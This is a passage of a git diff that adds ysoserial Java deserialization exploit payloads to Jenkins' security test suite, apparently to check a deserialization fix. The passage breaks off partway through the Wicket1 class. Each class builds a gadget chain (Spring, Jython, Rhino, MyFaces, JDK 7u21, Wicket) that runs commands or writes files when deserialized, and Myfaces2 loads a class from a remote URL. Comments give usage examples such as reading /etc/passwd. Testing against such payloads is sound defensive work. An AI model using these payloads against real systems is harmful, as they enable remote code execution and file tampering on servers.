javax.management.openmbean.TabularDataSupport.equals(Object) + * java.util.HashMap.putVal(int, K, V, boolean, boolean) + * java.util.HashMap.readObject(ObjectInputStream) + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes", "unchecked", "restriction" +} ) +@Dependencies ( { + "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", + // deep deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6", + "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" +} ) +public class JSON1 implements ObjectPayload { + + public Map getObject ( String command ) throws Exception { + return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class); + } + + + /** + * Will call all getter methods on payload that are defined in the given interfaces + */ + public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException { + CompositeType rt = new CompositeType("a", "b", new String[] { + "a" + }, new String[] { + "a" + }, new OpenType[] { + javax.management.openmbean.SimpleType.INTEGER + }); + TabularType tt = new TabularType("a", "b", rt, new String[] { + "a" + }); + TabularDataSupport t1 = new TabularDataSupport(tt); + TabularDataSupport t2 = new TabularDataSupport(tt); + + // we need to make payload implement composite data + // it's very likely that there are other proxy impls that could be used + AdvisedSupport as = new AdvisedSupport(); + as.setTarget(payload); + InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections + .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as); + InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); + CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl(); + invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler); + invocationHandler.setDefaultHandler(delegateInvocationHandler); + final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); + + JSONObject jo = new JSONObject(); + Map m = new HashMap(); + m.put("t", cdsProxy); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(t1, "dataMap", jo); + Reflections.setFieldValue(t2, "dataMap", jo); + return Gadgets.makeMap(t1, t2); + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JSON1.class, args); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java new file mode 100644 index 0000000000..e52fe03dad --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java @@ -0,0 +1,79 @@ +package jenkins.security.security218.ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; +import org.jboss.weld.interceptor.builder.MethodReference; +import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; +import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; +import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; +import org.jboss.weld.interceptor.spi.model.InterceptionModel; +import org.jboss.weld.interceptor.spi.model.InterceptionType; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +import java.lang.reflect.Constructor; +import java.util.*; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +public class JavassistWeld1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + final Object gadget = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + defaultMethodMetadataConstructor.setAccessible(true); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return gadget; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + + } + + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(JavassistWeld1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java new file mode 100755 index 0000000000..d9255750f0 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java @@ -0,0 +1,93 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.LinkedHashSet; + +import javax.xml.transform.Templates; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.JavaVersion; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/* + +Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has +the same JRE version requirements. + +See: https://gist.github.com/frohoff/24af7913611f8406eaf3 + +Call tree: + +LinkedHashSet.readObject() + LinkedHashSet.add() + ... + TemplatesImpl.hashCode() (X) + LinkedHashSet.add() + ... + Proxy(Templates).hashCode() (X) + AnnotationInvocationHandler.invoke() (X) + AnnotationInvocationHandler.hashCodeImpl() (X) + String.hashCode() (0) + AnnotationInvocationHandler.memberValueHashCode() (X) + TemplatesImpl.hashCode() (X) + Proxy(Templates).equals() + AnnotationInvocationHandler.invoke() + AnnotationInvocationHandler.equalsImpl() + Method.invoke() + ... + TemplatesImpl.getOutputProperties() + TemplatesImpl.newTransformer() + TemplatesImpl.getTransletInstance() + TemplatesImpl.defineTransletClasses() + ClassLoader.defineClass() + Class.newInstance() + ... + MaliciousClass.() + ... + Runtime.exec() + */ + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies() +@PayloadTest ( precondition = "isApplicableJavaVersion") +public class Jdk7u21 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + Reflections.setFieldValue(tempHandler, "type", Templates.class); + Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); + + LinkedHashSet set = new LinkedHashSet(); // maintain order + set.add(templates); + set.add(proxy); + + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + map.put(zeroHashCodeStr, templates); // swap in real object + + return set; + } + + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Jdk7u21.class, args); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java new file mode 100644 index 0000000000..b014660241 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java @@ -0,0 +1,106 @@ +package jenkins.security.security218.ysoserial.payloads; + +import org.apache.commons.io.FileUtils; +import org.python.core.*; + +import java.math.BigInteger; +import java.io.File; +import java.lang.reflect.Proxy; +import java.util.Arrays; +import java.util.Comparator; +import java.util.PriorityQueue; + +import jenkins.security.security218.ysoserial.payloads.util.Reflections; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + * + * This version of Jython1 writes a python script on the victim machine and + * executes it. The format of the parameters is: + * + * ; + * + * Where local path is the python script's location on the attack box and + * remote path is the location where the script will be written/executed from. + * For example: + * + * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" + * + * In the above example, if "read_etc_passwd.py" simply contained the string: + * + * raise Exception(open('/etc/passwd', 'r').read()) + * + * Then, when deserialized, the script will read in /etc/passwd and raise an + * exception with its contents (which could be useful if the target returns + * exception information). + */ + +@PayloadTest(skip="non RCE") +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies({ "org.python:jython-standalone:2.5.2" }) +public class Jython1 extends PayloadRunner implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + + String[] paths = command.split(";"); + if (paths.length != 2) { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); + } + + // Set payload parameters + String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); + + // Python bytecode to write a file on disk and execute it + String code = + "740000" + //0 LOAD_GLOBAL 0 (open) + "640100" + //3 LOAD_CONST 1 (remote path) + "640200" + //6 LOAD_CONST 2 ('w+') + "830200" + //9 CALL_FUNCTION 2 + "7D0000" + //12 STORE_FAST 0 (file) + + "7C0000" + //15 LOAD_FAST 0 (file) + "690100" + //18 LOAD_ATTR 1 (write) + "640300" + //21 LOAD_CONST 3 (python code) + "830100" + //24 CALL_FUNCTION 1 + "01" + //27 POP_TOP + + "7C0000" + //28 LOAD_FAST 0 (file) + "690200" + //31 LOAD_ATTR 2 (close) + "830000" + //34 CALL_FUNCTION 0 + "01" + //37 POP_TOP + + "740300" + //38 LOAD_GLOBAL 3 (execfile) + "640100" + //41 LOAD_CONST 1 (remote path) + "830100" + //44 CALL_FUNCTION 1 + "01" + //47 POP_TOP + "640000" + //48 LOAD_CONST 0 (None) + "53"; //51 RETURN_VALUE + + // Helping consts and names + PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; + String[] names = new String[]{"open", "write", "close", "execfile"}; + + // Generating PyBytecode wrapper for our python bytecode + PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "", 0, ""); + Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); + + // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method + PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); + + // Prepare Trigger Gadget + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[] {1,1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + + return priorityQueue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Jython1.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java new file mode 100644 index 0000000000..3964adc6e8 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java @@ -0,0 +1,66 @@ +package jenkins.security.security218.ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.mozilla.javascript.*; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"rhino:js:1.7R2"}) +public class MozillaRhino1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); + Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); + nativeErrorConstructor.setAccessible(true); + IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); + + Context context = Context.enter(); + + NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); + + Method enterMethod = Context.class.getDeclaredMethod("enter"); + NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); + idScriptableObject.setGetterOrSetter("name", 0, method, false); + + Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); + NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); + idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); + + Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); + getSlot.setAccessible(true); + Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); + Field getter = slot.getClass().getDeclaredField("getter"); + getter.setAccessible(true); + + Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); + Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); + memberboxClassConstructor.setAccessible(true); + Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); + getter.set(slot, memberboxes); + + NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); + idScriptableObject.setPrototype(nativeObject); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); + valField.setAccessible(true); + valField.set(badAttributeValueExpException, idScriptableObject); + + return badAttributeValueExpException; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(MozillaRhino1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java new file mode 100644 index 0000000000..976c5173d2 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java @@ -0,0 +1,92 @@ +package jenkins.security.security218.ysoserial.payloads; + + + +import javax.el.ELContext; +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +import org.apache.myfaces.context.servlet.FacesContextImpl; +import org.apache.myfaces.context.servlet.FacesContextImplBase; +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; + +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - an EL expression to execute + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@PayloadTest(skip="Requires running MyFaces, no direct execution") +public class Myfaces1 implements ObjectPayload, DynamicDependencies { + + public Object getObject ( String command ) throws Exception { + return makeExpressionPayload(command); + } + + + public static String[] getDependencies () { + if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ( "juel".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } + + public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { + FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); + ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); + + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + + return Gadgets.makeMap(e2, e); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces1.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java new file mode 100644 index 0000000000..1151493051 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java @@ -0,0 +1,64 @@ +package jenkins.security.security218.ysoserial.payloads; + + + +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - base_url:classname + * + * Yields: + * - Instantiation of remotely loaded class + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) +public class Myfaces2 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + return Myfaces1.getDependencies(); + } + + + public Object getObject ( String command ) throws Exception { + int sep = command.lastIndexOf(':'); + if ( sep < 0 ) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ + String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; + + // if we add fewer than the actual classloaders we end up with a null entry + for ( int i = 0; i < 100; i++ ) { + expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; + } + expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; + + return Myfaces1.makeExpressionPayload(expr); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces2.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java index 22c656b8f6..ac5391fc6f 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java @@ -23,10 +23,98 @@ */ package jenkins.security.security218.ysoserial.payloads; +import java.lang.reflect.Modifier; +import java.util.Iterator; +import java.util.Set; + +import org.reflections.Reflections; + +import jenkins.security.security218.ysoserial.GeneratePayload; + public interface ObjectPayload { - /* - * return armed payload object to be serialized that will execute specified - * command on deserialization - */ - public T getObject(String command) throws Exception; + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(String command) throws Exception; + + public static class Utils { + + // get payload classes by classpath scanning + public static Set> getPayloadClasses () { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + for ( Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { + Class pc = iterator.next(); + if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { + iterator.remove(); + } + } + return payloadTypes; + } + @SuppressWarnings ( "unchecked" ) + public static Class getPayloadClass ( final String className ) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } + catch ( Exception e1 ) {} + if ( clazz == null ) { + try { + return clazz = (Class) Class + .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); + } + catch ( Exception e2 ) {} + } + if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { + clazz = null; + } + return clazz; + } + + + public static Object makePayloadObject ( String payloadType, String payloadArg ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(payloadArg); + } + catch ( Exception e ) { + throw new IllegalArgumentException("Failed to construct payload", e); + } + return payloadObject; + } + + + @SuppressWarnings ( "unchecked" ) + public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { + if ( payload instanceof ReleaseableObjectPayload ) { + ( (ReleaseableObjectPayload) payload ).release(object); + } + } + + + public static void releasePayload ( String payloadType, Object payloadObject ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + releasePayload(payload, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(); + } + + } + } } diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java new file mode 100644 index 0000000000..2fe2b9b717 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java @@ -0,0 +1,11 @@ +package jenkins.security.security218.ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface ReleaseableObjectPayload extends ObjectPayload { + + void release( T obj ) throws Exception; +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java new file mode 100644 index 0000000000..973edd1083 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java @@ -0,0 +1,75 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import static java.lang.Class.forName; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import javax.xml.transform.Templates; + +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.target.SingletonTargetSource; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.JavaVersion; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * + * Just a PoC to proof that the ObjectFactory stuff is not the real problem. + * + * Gadget chain: + * TemplatesImpl.newTransformer() + * Method.invoke(Object, Object...) + * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.newTransformer() + * Method.invoke(Object, Object...) + * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@Dependencies ( { + "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", + // test deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" +} ) +@PayloadTest ( precondition = "isApplicableJavaVersion") +public class Spring2 extends PayloadRunner implements ObjectPayload { + + public Object getObject ( final String command ) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + AdvisedSupport as = new AdvisedSupport(); + as.setTargetSource(new SingletonTargetSource(templates)); + + final Type typeTemplatesProxy = Gadgets.createProxy( + (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), + Type.class, + Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); + Reflections.setFieldValue(mitp, "provider", typeProviderProxy); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + return mitp; + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Spring2.class, args); + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java new file mode 100644 index 0000000000..38b39c8671 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java @@ -0,0 +1,111 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +import org.apache.commons.codec.binary.Base64; +import org.apache.wicket.util.upload.DiskFileItem; +import org.apache.wicket.util.io.DeferredFileOutputStream; +import org.apache.wicket.util.io.ThresholdingOutputStream; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * This gadget is almost identical to FileUpload1 since it appears + * that Apache Wicket copied a version of Apache Commons DiskFileItem + * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That + * means that if the target is running less than Oracle Java 7 update 40 + * then the NULL byte attack is viable. Otherwise, copy and move attacks + * always work. + * + * This attack is valid for the 1.x and 6.x lines of Apache Wicket but + * was fixed in 1.5.16 and 6.24.0 (released July 2016). + * + * + * Arguments: + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data + * + * Example: + * Wicket1 "write;/tmp;blue lobster" + * + * Result: + * $ ls -l /tmp/ + * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * blue lobster + */ +@Dependencies({"wicket-util:wicket-util:6.23"}) +public class Wicket1 implements ReleaseableObjectPayload { + + public DiskFileItem getObject(String command) throws Exception { + + String[] parts = command.split(";"); + + if (parts.length != 3) { + throw new IllegalArgumentException("Bad command format."); + } + + if ("copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } + else if ("write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes("US-ASCII")); + } + else if ("writeB64".equals(parts[0]) ) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } + else if ("writeOld".equals(parts[0]) ) { + return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); + } + else if ("writeOldB64".equals(parts[0]) 